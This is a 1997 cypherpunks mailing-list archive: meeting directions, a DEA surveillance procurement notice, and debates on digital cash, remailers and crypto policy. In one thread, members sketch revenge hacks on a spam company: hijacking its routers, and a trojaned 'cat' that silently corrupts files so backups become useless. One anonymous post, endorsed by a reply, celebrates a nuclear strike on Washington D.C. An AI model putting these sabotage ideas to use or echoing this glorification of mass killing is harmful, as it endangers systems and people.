     (The very first traffic light after exit ramp. Taco Bell on left).
  - RIGHT turn at next stop sign (Palm St.).
  - PROCEED 1.5 blocks.
     (Parking Garage entrance at rear of Bayview building is on your right.)
  - PARK on the 2nd level.

.................................. NANO ...................................

+ Once you've parked your flying saucer in the Garage:
  - STAIRS (or Elevator) to the main level, step out and...
  - WALK WEST across the courtyard to the main (tallest) building.
  - PASS through the doorway in the stand-alone exterior "glass wall"
      and approach the "information" window (also the guard station) on
      the north side of the building.
  - GET the guard's attention (preferably *not* by waving a firearm).
      Use the passwords ("PGP" or "cypherpunks") and you'll be admitted.
      If the guard's on a break, call my cellphone 415.730.3583.
  - ELEVATOR to 2nd Floor.
     (The meeting room is on left side, slightly down the hall)
      PGP's offices are on the 9th Floor (soon the 10th too).

............................................................................

For CalTrain-ers, get off at the San Mateo station near the Bay Meadows
horse racing track and head for the tallest building around with the huge
"Bayview" sign on top.

For the bus, take any line running on El Camino Real to the intersection of
20th in San Mateo and dismount. You're there.







From reusch at pluto.njcc.com  Tue May  6 12:16:53 1997
From: reusch at pluto.njcc.com (Michael  F. Reusch)
Date: Wed, 7 May 1997 03:16:53 +0800
Subject: CBD - DEA - TELEPHONE MONITORING DEVICE
Message-ID: <3.0.1.32.19970506131529.00699ec0@mail.njcc.com>


http://www.ld.com/cbd/archive/1997/04(April)/30-Apr-1997/58sol008.htm

Commerce Business Daily, April 30, 1997

Drug Enforcement Administration, Office of Acquisition Management, 
700 Army Navy Drive, Arlington, Virginia 22202

58 -- SOURCES SOUGHT -- TELEPHONE MONITORING DEVICE SOL 97-SP0453 POC
Yolanda Jordan, Purchasing Agent, (202) 307-7805 The Drug Enforcement
Administration (DEA) is seeking to identify qualified sources to provide a
telephone data recording system which will provide management with the
following: 
1) provides for centralized management; 
2) has synchronized agent directories; 
3) multiple leveled and layered, user profile security;
4) a strategic framework to support future functionality 
5) easy-to-use for users; 
6) automate and simplify the entire monitoring process of voice and data; 
7) provide an objective approach to personnel evaluation and analysis; 
8) provide insight into the effectiveness of the software applications and
hardware systems being used by employees;
9) provide a training tool for employees, classroom environments and peer
group sessions; 
10) provide a means for fraud detection; 
11) work in oracle local area network. this system shall perform on-line
evaluation, product data, analysis/report of telephone conversations and
customer account screens across a wide area network. 

This information will also need to provide storage for data for three to
six months. This announcement is not a Request for Proposal or Request for
Quotation. there is no solicitation/RFQ available. We request that
interested sources submit a capability statement that clearly identifies
their capabilities by May 27, 1997 to U.S. Department of Justice, Drug
Enforcement Administration, 700 Army Navy Drive, Arlington, VA 22202, Attn:
Yolanda Jordan. Any questions should be directed to Ms. Yolanda Jordan at
202-307-7805. DEA does not intend to award a contact on the basis of this
request for information or otherwise pay for the information solicited.







From kent at songbird.com  Tue May  6 13:49:46 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 7 May 1997 04:49:46 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <19970506105325.64305@bywater.songbird.com>


On Mon, May 05, 1997 at 03:00:09PM -0400, Ray Arachelian wrote:
> On Sun, 4 May 1997, Hal Finney wrote:
> 
> > Presumably records are kept to protect against various risks.  Without
> > that protection, you need other means to control the risk.  But if those
> > means exist and they are cheaper than record-keeping, then again even
> > without anonymity it should be cheaper to use those methods in place of
> > the records.
> 
> Records are kept for (a) tax compliance, (b) as a way of further 
> marketting spam that tracks usage/purchase patterns.  Presumably the 
> marketting weasels require this info because of their belief that doing 
> so will increase sales in the long run.

Speaking of risks, if I have several billion dollars worth of fully
anonymous, fully fungible digital cash sitting on my hard disk, how do
I protect it from loss, theft, or damage? If I encrypt it somehow, and
forget my key, I am out a lot of money.  If the disk is sitting on a 
vanilla computer of some sort, I have to worry about the security of 
the OS.  I have to worry about a disk crash destroying my fortune.  
In short, I have security concerns.

I mention this because one of the costs of cash is protecting it.  
For large sums this cost is non-trivial.  This will be true with 
digital cash as well.

One of the purposes of banks is to provide a secure storage 
infrastructure.  But if you put your ecash in a bank you damn well 
want to be sure that you can get it back, which means that the bank 
*must* have records associating your deposits with you (or your 
nym).

With computers, record keeping is cheap, but security is expensive.  
The cost of securing records is inversely related to the amount of 
public exposure -- the more people know something, the harder it is 
to alter the data.

With ecash you don't have just the abstract value of information as a 
motivation for thieves -- you have real money, and, with current 
computer security levels, an essentially open target, crypto or not.

Therefore, anonymous transactions do have costs that non-anonymous 
ones do not, and this cost differential potentially grows 
non-linearly with the amount involved.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From dave at kachina.jetcafe.org  Tue May  6 15:33:56 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Wed, 7 May 1997 06:33:56 +0800
Subject: Controversial Commercial ISP for Remailer?
Message-ID: <199705061935.MAA13079@kachina.jetcafe.org>


Igor Chudov writes:
> Dave Hayes wrote:
> > Judgementally speaking, if you spam, you may not continue to condemn
> > spammers and be consistent.
> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

What makes you think that my view of consistency has anything to do
with this action?
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Man will occasionally stumble over the truth, but most of the time he will
pick himself up and continue.








From dataet at hotmail.com  Tue May  6 15:53:48 1997
From: dataet at hotmail.com (DataET Research Data Engineering Technologies)
Date: Wed, 7 May 1997 06:53:48 +0800
Subject: Custom programming, Web site design & development, and more.
Message-ID: <199705062233.PAA27824@f42.hotmail.com>


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From baby-x at slowdog.com  Tue May  6 16:30:39 1997
From: baby-x at slowdog.com (baby-X)
Date: Wed, 7 May 1997 07:30:39 +0800
Subject: Jim Bell in the Oregonian
In-Reply-To: 
Message-ID: 


On Tue, 6 May 1997, Alan wrote:

> Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
> edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
> page.
> 
> It is an interesting read.  It does not address the problems with AP, but
> it does deal with the raid and other issues involved.

Actually it only barely mentions the raid, at the end of the piece. Most of
the piece talks about AP in some fashion.


============================================================================
 baby-X                                               SLUGGISH CANINE SHACK
 baby-x at slowdog.com                                         www.slowdog.com
============================================================================







From ichudov at algebra.com  Tue May  6 18:49:39 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 09:49:39 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705061935.MAA13079@kachina.jetcafe.org>
Message-ID: <199705070135.UAA24857@manifold.algebra.com>


Dave Hayes wrote:
> 
> Igor Chudov writes:
> > Dave Hayes wrote:
> > > Judgementally speaking, if you spam, you may not continue to condemn
> > > spammers and be consistent.
> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> What makes you think that my view of consistency has anything to do
> with this action?

I am interested in your view, Dave.

	- Igor.






From ichudov at algebra.com  Tue May  6 19:10:13 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 10:10:13 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: 
Message-ID: <199705070140.UAA24968@manifold.algebra.com>


some of the best hacks that I heard was to install a trojan
instead of, say, cat, that would randomly change one byte in 
a randomly chosen file.

this is hard to notice, and when you do notice that, all the backups are
useless.

basically, install lots of backdoors and then play with their minds.

some ppl would steal CC# of their customers and publish them, but I would
not do it.

igor

Ray Arachelian wrote:
> 
> On Mon, 5 May 1997 ichudov at algebra.com wrote:
> 
> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> Fictionally speaking, if the Prof. (when did I earn that title?) does 
> hack Cyberpromo, the Prof wouldn't delete all the files, for doing so 
> would simply cause them to restore their files from tape thus cause not 
> much to happen.  No, were I to do something like that (and I wouldn't) it 
> would have to be something that would keep them down for a long time, not 
> for eight hours while their tape drive restores stuff.
> 
> Any suggestions as to what this would be for those out there willing to do
> such a deed? :) My own suggestion would be to hack into the routers
> surrounding them and set them up to connect any attempts to connect to
> machines outside cyberpromo.com on port 25 back to cyberpromo's own sendmail
> server.  Setting up their sendmail configs to do the same would also be a
> nice backup.  That would be IMHO a proper hack.  (Anyone care to share router
> hacking techniques, and how to do such a thing?-- Again, not that I would 
> do this myself.)
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
> ..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
> <--*-->| ------------------ |                                        |\/|\/
> ../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> .+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 



	- Igor.






From jimbell at pacifier.com  Tue May  6 19:12:27 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Wed, 7 May 1997 10:12:27 +0800
Subject: Jim Bell in the Oregonian
Message-ID: <199705070152.SAA13143@mail.pacifier.com>


At 11:09 5/06/97 -0700, Alan wrote:
>
>Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
>edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
>page.
>
>It is an interesting read.  It does not address the problems with AP,

Given that the article was, more or less, limited to 800 words (it actually
runs about 40 over this informal limit) it is by no means surprising that it
"does not address the problems [sic] with AP."

Why would you think it would?!?


> but
>it does deal with the raid and other issues involved.

And I've already posted it, but it probably hadn't appeared to most CP
subscribers, certainly not by the time you posted your note, and maybe not
even when I post this note.

>
>Jim might consider posting a copy of the original article here.  Given the
>Oregano's love of cut-and-paste journalism, it would be interesting how
>the original and print versions differ.

I didn't seen any substantial changes to the body of the article, although
my preferred title wasn't used.


Jim Bell
jimbell at pacifier.com






From nobody at huge.cajones.com  Tue May  6 19:15:38 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 7 May 1997 10:15:38 +0800
Subject: AP --> AR
Message-ID: <199705070153.SAA19795@fat.doobie.com>



Tim May verily saith [paraphrase]:

> I would cry few tears if D.C. got nuked

This will be an historical event of importance comparable to the 
American Revolution and the fall of the Berlin Wall.

Even now Clinton and his organization are pointing weapons of mass terror and 
murder at hundreds of millions of people around the world, and other
leaders of these gangs with weapons too murderous to be called
gangs, these terrorists far too terrifying to the called terrorists,
are pointing their weapons at us.  Far from enemies, the supergang
chieftans contribute to each others' campaigns, turning democracy
into a sick joke.  The fact of friendship between super-terrorist
leaders does not stop them from threatening us with terror and death in 
the name of "defense" against "enemy nations", and by the most
bizarre hypocrisy ever dreamed up by the mind of man, trampling our
rights in the name of controlling "terrorism".  The supreme justice 
will be done when these weapons of mass terror are turned back 
on their wielders and those proximate who have failed to use their   
proximity to bring these ultimate criminals to justice.  Those
innocents who die will be mourned as saviours for the many tens
of millions who would have been murdered by governments in the twenty 
first century, as they have been in the twentieth.

I live about one hundred-fifty miles away from that fetid place, sometimes
downwind.  The risk to my family from the fallout is fairly small
compared to the risks we face every day from these super-terrorists
pointing weapons at us, threatening us constantly, sometimes murdering
us outright when they can cook up a good enough story to justify it
on the evening news.  The money I have to spend to protect 
my family from the fallout, and from any temporary economic setback to
our region, would be earned back in less than a year of not having my 
livelihood sucked away by these mass murdering parasites, and the very lives
of my beloved family, my lovely wife, my son and my two daughters,
threatened by their thug friends and campaign contributors 
overseas.   D.C. may lead the nation in personal crimes, but these
are as nothing next to the crimes it has committed against the peoples
of the rest of the nation and the world.  These self-legalized criminals 
have in this administration alone murdered more children than Charles Manson 
killed adults.

AP may be more targeted, but it just doesn't do the crimes justice.
For that will come AR -- appropriate response. 


"John the Baptist"






From omegam at cmq.com  Tue May  6 20:57:41 1997
From: omegam at cmq.com (Omegaman)
Date: Wed, 7 May 1997 11:57:41 +0800
Subject: Since when is supporting unrestricted crypto unreasonable?
In-Reply-To: 
Message-ID: <199705070346.WAA10035@jolietjake.com>


"Shabbir J. Safdar"  writes:
 
> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> Reform, the Association for Computing Machinery, Computer Professionals for
> Social Responsiblity, Eagle Forum, the National Association for Criminal
> Defense Lawyers, and PGP Inc all signed this letter.
> 
> Can you consider, perhaps, for a second, that critics of SAFE are being
> unreasonable?  

No.  Perhaps we consider accepting the bill with such glaring
loopholes unreasonable.  

> I would think so, as critics of SAFE include the Clinton
> Administration.  Is that the kind of company that cypherpunks keep?

I'll let this remark stand on it's own merit.
 
> Looks like widespread support from people who study this issue for living.
> I'm glad to be counted among them.

Interesting dismissal and point of view from an organization which is
ostensibly a promoter of civil liberties.  The trace of elitism in
this quote is an irony that this reader didn't miss.  "Democracy,"
indeed.


It appears that in your daily study of this issue -- and I'm assuming
that familiarity with Cypherpunks is part of that -- you missed some
of the differences between many Cypherpunks and your organization(s).

We all agree that unrestricted/unregulated Cryptography is a "good
thing."   However, the compromises ACLU, EPIC, EFF, CDT, etc. are
willing to make with this bill do not further this ultimate goal.
Unless the administration intends to simply ignore the obvious
loopholes. 

There are also some philosophical differences.

To quote Alan Davidson:
> There is a right we don't have now: The right to export strong
> cryptography. The result is that strong, easy-to-use encryption is not
> seamlessly integrated into most popular products, and is not accessible to
> most people

Actually, the government doesn't have the right to impose restrictions
on strong cryptography.  Yet time and again, it has attempted to do
so, resulting in -- as Alan noted -- a chilling effect on the spread
of strong crypto in the mass market.

And government will continue attempts to reach into regulation of
crypto.  This is why compromise is unacceptable.  Far better to work
around it attempting to spread cryptography far and wide while
legislators and administrators struggle to slip their agenda past your
watchful eyes.


But there is another force at work here.  There is no "killer" crypto
app in the eyes of the masses.  PGP 2.6xxxxx is probably the closest
thing we currently have in this regard.  Furthermore, crypto still
remains largely below the public radar.  While government officials
can trot out the four horsemen with predictable reactions, the
proverbial "other side" has few arguments that carry a similar
impact.  

We can cite abuses, encroachment on civil liberties, increasing
surveillance efforts, and numerous other frightening developments.
None of these have broken into the mass conciousness in the same way
that "protecting the children/public safety" arguments have.  
Labels like "militia", "extreme edge" and "radical" also carry alot of
weight in the increasingly paranoid public mind.

Until some outrageous surveillance or crypto related abuse occurs
(cryptogate) or is uncovered , it will remain difficult to garner real
mass public support.  The Newt Gingrich cell-phone fiasco came as
close as anything yet.  Commercial interests "get it" & support crypto
for wholly different reasons.

I'm starting to think that until someone actually gets arrested and
jailed for using strong, unbreakable encryption that is "suspected" of
supporting a crime, little will change.  In the meantime, the
administration, Congress, and the TLA's will keep getting closer to
achieving their goals.






From mixmaster at as-node.jena.thur.de  Tue May  6 21:05:40 1997
From: mixmaster at as-node.jena.thur.de (Jenaer Mixmaster Anonserver)
Date: Wed, 7 May 1997 12:05:40 +0800
Subject: None
Message-ID: 



For your interest and amusement...

London Daily Telegraph, 5/6/97

"French coders go on strike"

France's 260 Foreign Ministry coders, who decipher top security messages,
went on strike yesterday for the first time since their department was 
set up in the 1960s.

The strike is over career status, the lack of recruits and the impact of
new technologies. Talks are to be held tomorrow. AFP, Paris






From dlv at bwalk.dm.com  Tue May  6 22:34:03 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 7 May 1997 13:34:03 +0800
Subject: AP --> AR
In-Reply-To: <199705070153.SAA19795@fat.doobie.com>
Message-ID: <2XcB7D34w165w@bwalk.dm.com>


nobody at huge.cajones.com (Huge Cajones Remailer) writes:

>
> Tim May verily saith [paraphrase]:
>
> > I would cry few tears if D.C. got nuked
>
> This will be an historical event of importance comparable to the
> American Revolution and the fall of the Berlin Wall.

I'm all for it!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dave at kachina.jetcafe.org  Tue May  6 23:00:30 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Wed, 7 May 1997 14:00:30 +0800
Subject: Controversial Commercial ISP for Remailer?
Message-ID: <199705070543.WAA16571@kachina.jetcafe.org>


Igor Chudov writes:
> I am interested in your view, Dave.

There are only two reasons that I can see your interest serving. 
You either wish to support my views or oppose them. Neither case
serves your potential enlightement, therefore I shall choose to 
not answer.
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Test  (n.)   - 1. A hardship you don't expect.
Brave (adj.) - 1. Someone looking for a test.











From ichudov at algebra.com  Tue May  6 23:01:53 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 14:01:53 +0800
Subject: Controversial Commercial ISP for Remailer?
Message-ID: <199705070553.AAA26992@manifold.algebra.com>


Dave Hayes wrote:
> Igor Chudov writes:
> > I am interested in your view, Dave.
> 
> There are only two reasons that I can see your interest serving. 
> You either wish to support my views or oppose them. Neither case
> serves your potential enlightement, therefore I shall choose to 
> not answer.

Dave, you are a very insightful man, but in this case you were
mistaken: I am interested to hear your views for my enlightenment.

But your response above also serves my curiosity, no less than a
more direct one, so thank you very much.

	- Igor.






From rah at shipwright.com  Wed May  7 04:10:30 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 7 May 1997 19:10:30 +0800
Subject: The Executive State
Message-ID: 



--- begin forwarded text


Date: Tue, 6 May 1997 10:46:19 -0700
From: thomasu at mail.auburn.edu
To: misesmail at colossus.net
Subject: The Executive State
Sender: owner-misesmail at colossus.net
Precedence: Bulk

The Executive State:
The U.S. Presidency vs. American Liberty

	When President Clinton asked golfer Tiger Woods to join him at an official
propaganda event, and even offered to send Air Force One, Tiger answered as
every freedom-loving American should: he had something better to do. He was
going on a vacation with some college chums.

	Tiger has his priorities straight, but his turndown is another indication
that the presidency is shrinking as an institution. It still commands, but
no longer compels, our undying (or dying) obedience, no matter how many
monuments are erected to despots on the Washington Mall. This trend is all
to the good.

	The legacy of presidential autocracy from the earliest days of the
republic to the present survives in the form of the executive state. But
where can you go in the library to find the truth about the havoc U.S.
presidents have wrecked on the American promise of freedom? Virtually
nowhere. The official history of the presidency reads like the Lives of the
Saints.

	The Mises Institute intends to do something about this. In the Fall of
1998, we're holding a major academic conference on the American presidency.
Our purpose is to debunk the conventional view that the more power he's
usurped, the better off the American people are.

	All the presidents qualify for study, but we are especially interested in
the checkered careers and dictates of Polk, Lincoln, McKinley, Roosevelt I,
Wilson, Roosevelt II, Truman, Johnson, Nixon, and Reagan.

	If you're a scholar and would like to participate with a paper on some
aspect of a presidential power grab (or one of those few occasions when a
president did some good) let us know. An abstract is all that's necessary
to be considered now.

The Ludwig von Mises Institute
Auburn, Alabama 36849-5301
334-844-2500; fax: 334-844-2583

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From Lynx_User at linux.nycmetro.com  Wed May  7 04:15:08 1997
From: Lynx_User at linux.nycmetro.com (Lynx_User at linux.nycmetro.com)
Date: Wed, 7 May 1997 19:15:08 +0800
Subject: airlines_2.html
Message-ID: <199705071055.GAA29130@linux.nycmetro.com>



                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: Clinton Defends Wife's Whitewater Statements
   Next Story: Clinton, Zedillo Work to Improve Relations
     _________________________________________________________________
   
   Tuesday May 6 11:33 PM EDT 
   
Airlines Step Up Baggage Security Measures

   WASHINGTON (Reuter) - U.S. airlines started a nationwide domestic
   trial Tuesday to match passengers with luggage as a way to intercept
   terrorists who might try to get a bomb on a plane in an unaccompanied
   bag.
   
   The Air Transport Association, which represents all the major U.S.
   carriers, said the trial followed recommendations by a special White
   House commission formed after the explosion last summer of TWA flight
   800.
   
   Terrorism was at first thought to be the cause of the explosion that
   killed all 230 people on board the Boeing 747, but officials say
   evidence now lead to mechanical failure.
   
   John Meenan, Air Transport Association vice president for policy and
   planning, said the trial would run for about two weeks.
   
   He said the airlines were deciding the extent of bag checking, on
   Federal Aviation Administration advice to run trials at various
   airports, including hub and spoke operations and city-to-city flights.
   
   Meenan said there was a potential for delays when a passenger checked
   a bag but then, for any reason, might not board the flight and stayed
   back for a later connection.
   
   In the past, he said, that would not cause a problem.
   
   "But in the trial, if they find you are not there, they must find your
   bag in the belly of the plane," Meenan said. "The delay can be very
   significant."
   
   He said if one plane were held up for an hour at a busy airport, that
   would prevent another aircraft from landing and taking its place at
   the gate, as well as cause passengers to miss connections.
   
   "You have cascading effect," he said.
   
   FAA spokeswoman Rebecca Trexler said she hoped there would not be too
   many delays, adding that the trial was in part to see the effect of
   bag matching on airline schedules.
   
   Trexler added that airlines had the option of suspending the trial if
   delays were 20 minutes or longer, but by the end of the day she had no
   reports of any delays that long.
   
   Bags are already matched on overseas flights, Meenan said, but those
   are not scheduled as closely together as domestic flights when every
   departure and arrival is timed to get full use out of every plane
   making any delay costly to the carrier.
   
   He said he did not think bag matching was the answer to security
   because it would cause too many serious delays.
   
   He said the answer might be a combination of bag matching and
   profiling passengers to try to screen for further investigation any
   passenger who seemed to be a potential risk, also recommended by the
   special commission.
     _________________________________________________________________
                                      
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    Questions or Comments






From jya at pipeline.com  Wed May  7 05:06:12 1997
From: jya at pipeline.com (John Young)
Date: Wed, 7 May 1997 20:06:12 +0800
Subject: IBM's New Algo
Message-ID: <1.5.4.32.19970507114307.00873568@pop.pipeline.com>


   The New York Times, May 7, 1997, p. D5.

   I.B.M. Researchers Develop A New Encryption Formula

   By Laurence Zuckerman

   I.B.M. plans to announce today that two of its researchers
   have come up with a new computer encryption formula that
   they say is nearly impossible to crack.

   The International Business Machines Corporation said that
   the breakthrough was still a long way from being employed
   outside the lab and that it did nothing to resolve the
   running dispute between the computer industry and the
   Federal Government over whether law enforcement agencies
   should be given access to encrypted communications. But it
   could ultimately help reduce the vulnerability of so-called
   public-key encryption, which is the favored security method
   used to safeguard commerce and privacy on the Internet.

   "They've made a big advance," said Joan Feigenbaum, a
   researcher at AT&T Labs in Murray Hill, N.J., who is
   familiar with the work of the two computer scientists who
   developed the system, Miklos Ajtai and Cynthia Dwork of
   I.B.M.'s Almaden Research Center in San Jose, Calif.
   "Scientifically, this is a big step in the right
   direction."

   But Bruce Schneier, a computer security consultant in
   Minneapolis and author of a standard textbook on
   cryptography, dismissed the news.

   "Theoretically it is important, but as a security
   breakthrough there is nothing new," he said.

   In public-key encryption, the sender of an electronic
   communication uses software that automatically scrambles
   the information by incorporating a publicly known numerical
   key. Decoding the scrambled transmission requires a private
   key, a number supposedly known only by the recipient.

   The security of the system depends, among other things, on
   how difficult it is for an electronic eavesdropper to crack
   the code using a powerful computer. If some of the codes
   that are generated by the system are difficult to break but
   others are easy, the system is inherently weak. I.B.M. said
   that its new system was the first to generate hundreds of
   codes at random, each of which is as difficult to crack as
   the hardest instance of the underlying mathematical
   problem.

   The system is based on a problem that has defied solution
   by mathematicians for 150 years, I.B.M. said.

   Mr. Schneier said that the cryptographic formulas now in
   use were already robust enough. The biggest challenge, he
   said, is creating security systems in the real world that
   are not vulnerable to hackers.

   "Cryptography is a lot more than math" he said.

   [End]








From Michael.Johnson at mejl.com  Wed May  7 05:29:24 1997
From: Michael.Johnson at mejl.com (Mike)
Date: Wed, 7 May 1997 20:29:24 +0800
Subject: Netscape-128 not at Replay.com
Message-ID: <3.0.1.32.19970507140543.00912550@localhost>



It seems that the US versions of Netscape have been removed from
ftp.replay.com. Did Netscape comment on the software being available, or
what happened?

Mike.






From whgiii at amaranth.com  Wed May  7 05:50:29 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 7 May 1997 20:50:29 +0800
Subject: Rape, death and XS4ALL
In-Reply-To: 
Message-ID: <199705071233.HAA30664@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on
05/05/97 at 04:37 AM,
   Paul Bradley  said:




>> > > A ban on all handguns even when registered (currently all pistols above 
>> > > .22 are banned and all guns have to be registered in a process whereby if 
>> > > the applicant for a certificate has any history of political dissention 
>> > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
>> > > certificate will be refused.
>> 
>> What would be an example of such political dissention?

>Well, I`m pretty sure that, having recently been involved in campaigns 
>against the ban on handguns, written to a number of people in positions 
>of power over the proposed TTP scheme in the DTI white paper etc. my 
>firearms licence will not be renewed the next time it comes up for review.
>The powers that be now presumably see me as a loon.

>A damning enditement on the British people is that last time I mentioned 
>to someone my having written to the home office and others over the 
>proposed gun ban I was called a lunatic and told "The sort of person who 
>writes to the home office over something like that is the least suitable 
>to have a gun".

>I can assure you this is not a one-off, this happens every time people who
> don`t shoot find out I do. They have been brainwashed by the  tabloid
>press, for example, the daily mail ran a particularly vitriolic  hate
>campaign against gun owners singling out Albie Fox, leader of the 
>campaign against the ban, and calling him a "Gun obsessed lunatic". This,
>recall, is the same daily mail which rants every day about the  "evil of
>drugs" and how the only way to "save society" is to throw  everyone who
>doesn`t support their particular brand of bigoted fanaticism  into jail
>for the rest of their life.

>And of course, one would imagine that those who actually owned guns and 
>used them for sport themselves would be the most informed people who 
>would realise that the criminal use of guns is at the opposite end of the 
>scale to the sporting use allowed in British law. However, I know several 
>people who have said "I`m happy to give up my guns if it will save 
>lives", to this I simply reply "who were you going to kill?" then walk 
>away, these people don`t even deserve correcting as their bullshit is so 
>deep.

>In addition, when the police revoke or refuse to renew a firearms 
>certificate, they do not need to give a reason, so one cannot even prove 
>that it was because of speech or opinions they didn`t like that they 
>revoked the certificate. Even if you could, it is unlikely a challenge in 
>court would succeed, the UK does not have the same free speech guarantees 
>as are given in the US and elsewhere, and any court challenge would fail, 
>of that I am sure.

>Also, to worsen the situation, the labour party has now come to power and 
>as I have already explained in a previous post this make matters even
>worse.

Well wait until after the next elections when we have a Republican
administration and apply for political asylum. :)

Someday the revolution will come and we can roundup all these bastards for
"crimes against Democracy". Anyone for Nurnburg II? -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If at first you don't succeed, work for Microsoft.

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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GnQV2MCykLVq0Y2KoRNEYXuuuEOwAAm58cdG468RoIKlpR1b88jZy37x9xUVC4U2
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=/ZF/
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From dogbert at yoyo.com  Wed May  7 05:58:53 1997
From: dogbert at yoyo.com (dogbert at yoyo.com)
Date: Wed, 7 May 1997 20:58:53 +0800
Subject: (1048129di) Questions, Round Thirteen, The Dilbert Trivia Game
Message-ID: <9705071227.AB84040@cavalier.yoyo.com>




* * * * * * Consultants Wanted * * * * * * *
We want to fill up as many binders with as
much information as possible, so we're asking
Dilbert Trivia Game players to do the Yoyodyne
Survey. What's in it for you? Prizes. We'll be
randomly awarding stuff to people who do this:
http://www.yoyo.com/dilbert/survey.html
* * * * * * * * * * * * * * * * * * * * * * *

This memo is to announce that Round Thirteen of The Dilbert
Trivia Game has now been implemented. Please file this memo
in the appropriate binder, in triplicate. The distribution
of cool, official Dilbert prizes is at stake here.

~~~~~~~~~~~~~~~
Need a Way Out?
~~~~~~~~~~~~~~~
If you'd rather write your own performance review than keep
playing this game, please visit Yoyodyne's new Customer
Service Center at http://www.yoyo.com/service, where your
request can be fulfilled automatically. Want to quit all
Yoyodyne games? The Customer Service Center can do that too.
Just like that.

~~~~~~~~~~~~~~~~~~~~~
This Week's Questions
~~~~~~~~~~~~~~~~~~~~~

Question One
~~~~~~~~~~~~
In a meeting with the boss, as captured forever in the pages
of "Dogbert's Top-Secret Management Handbook" ("DTSMH"),
Dilbert is told to add a sentence to his report saying that
micro-robotics is a dead-end technology. When he answers
that the statement would make the whole report a confusing
and senseless waste of time, the boss says:

A -- That's okay. We just won't let anybody else see it.

B -- That's part of our strategy.

C -- And your point is what?


Question Two
~~~~~~~~~~~~
Discussing the quality assurance process with Ratbert (as
transcribed in a strip in "DTSMH"), the boss accuses him of
finding a huge number of flaws in the prototype,
jeopardizing the schedule. The possible results, according
to the boss, are:

A -- Mass layoffs will result.

B -- The entire project will fail and it's all your fault.

C -- This could be the end of civilization as we know it.


Question Three
~~~~~~~~~~~~~~
Waxing rhapsodic over the advantages of using temporary
workers (as noted in a strip in "DTSMH"), the boss says:

A -- I just love hiring these temporary workers.

B -- No employee benefits...no union...just throw 'em in
the Dumpster when you're done with 'em.

C -- Both A and B.


Question Four
~~~~~~~~~~~~~
Asking the boss to delay the beta trial of a product until
it stops exploding, Dilbert is met with resistance, as
evidenced by this strip in "DTSMH":

A -- You engineers are such pessimists. Just once, try to
focus on the positive aspects of the trial.

B -- Is that a bad thing?

C -- Could we call that a feature?

~~~~~~~~~~~~~~~~~
Productivity Tip
~~~~~~~~~~~~~~~~~
Dogbert absolutely, positively must receive your answers at
dogbert at yoyo.com before the deadline of 5/11/97 11:00:00 PM
Eastern Time or you'll be replaced by a consultant. So give
yourself enough time for the mail to get here.

~~~~~~~~~~~~~~~~~~~~~
Incentive Plan Update
~~~~~~~~~~~~~~~~~~~~~
Every correct answer earns you an entry into the weekly,
quarterly, and annual prize drawings. And even wrong answers
count toward the drawing for the annual attendance prize.
(No sick days or vacation days if you want to win that one.)

~~~~~~~~~~~~~~~~~~~~~~~~~~~
